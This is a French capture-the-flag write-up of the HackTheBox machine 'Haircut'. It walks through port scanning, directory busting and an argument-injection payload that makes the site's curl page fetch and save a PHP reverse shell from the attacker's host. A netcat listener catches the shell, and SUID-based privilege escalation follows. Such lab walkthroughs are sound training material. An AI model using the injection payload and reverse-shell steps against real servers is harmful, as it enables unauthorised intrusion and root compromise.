Aujourd'hui je m'attaque à la machine "Haircut" disponible chez HackTheBox.

Présentation de la machine

Haircut est une machine qui demande des compétences d'énumération et de recherche. Elle met en évidence le risque d'excution de commande bash à travers une interface web.
Auteur: vap0r
Difficulté: Easy

Énumération des services

Pour changer, commençons par un scan des ports...

nmap -sC -sV -p- 10.10.10.24

On a seulement 2 services. Commençons par le plus simple: le service web.

Web service

Directory busting

Un simple "directorybusting" permet de mettre en lumière 2 ressources importantes.

Exploitation web

La page exposed.php permet de faire une requête curl vers l'URL spécifié.

Cette page télécharge la ressource spécifiée sans restrictions
Les ressources téléchargé sont directement affichés sur la page

Comme on peut le voir, le script de la page exposed.php utilise la commande curl pour télécharger l'URL fourni et l'affiche directement.

Dans cette situation ce qui pourrait être utile serait que l'on puisse uploader un script php sur le serveur cible via la commande curl.
Pour ça il suffirait d'ajouter l'option -o upload/php-reverse-shell.php pour sauvegarder le shell dans un dossier accessible en lecture (A tout hasard, le dossier 'uploads').

Donc notre payload sera de la forme:

http://10.10.14.21/php-reverse-shell.php -o uploads/php-reverse-shell.php

Il suffit de lancer un petit serveur HTTP pour uploader le reverse shell

ls -l
-rw-r--r-- 1 root root   5493 Oct  2 20:39 php-reverse-shell.php

python -m SimpleHTTPServer 80

Une fois le fichier sur le serveur il suffit d'ouvrir un socket via netcat sur ma machine
nc -lvp 1234

Et voilà ! un shell sur la machine
Et avec le shell: le flag user !
Utilisons python3 pour récupérer un shell TTY puisque python n'est pas disponible 

PrivEsc

Maintenant que nous avons un accès à la machine, il faut chercher un moyen de devenir root. Pour ça j'ai téléchargé un script LinEnum.sh sur la machine cible.

Commençons par uploader LinEnum.sh

Après un bon moment à tourner en rond je me suis intéressé aux fichiers SUID.

J'ai d'abord commencé par filtrer les binaires déjà présent sur ma distrib Kali et sur la machine cible histoire d'écarter le plus de fausses pistes.

Plus que 6 vecteurs d'attaques potentiels
Un second tri mets en lumière le binaire à exploiter
Ce résultat semble être une bonne piste !

L'exploit demande la compilation de 2 modules: libhac.so et rootshell. Ces 2 modules ne peuvent être compilés sur la machine cible car elle ne possède pas gcc, il faut donc les compiler localement puis les télécharger.

Les commandes pour compiler les 2 modules sont disponibles dans le script de l'exploit.

Téléchargement de libhax.so
Téléchargement de rootshell

Une fois les 2 modules sur la machine cible il ne reste plus qu'à exécuter quelques commandes pour obtenir un shell root (commandes présentes dans le script de l'exploit).

Nous voilà root !
Et avec ça vient le flag ! #Consécration

Résumé

Un petit résumé graphique

Social media stuff

RootMe: www.root-me.org/_AGS
HackTheBox: https://www.hackthebox.eu/home/users/profile/54394
Twitter: @GhostAgs

If you appreciate my work please consider make a donation
Tipeee: https://fr.tipeee.com/ags-syndrome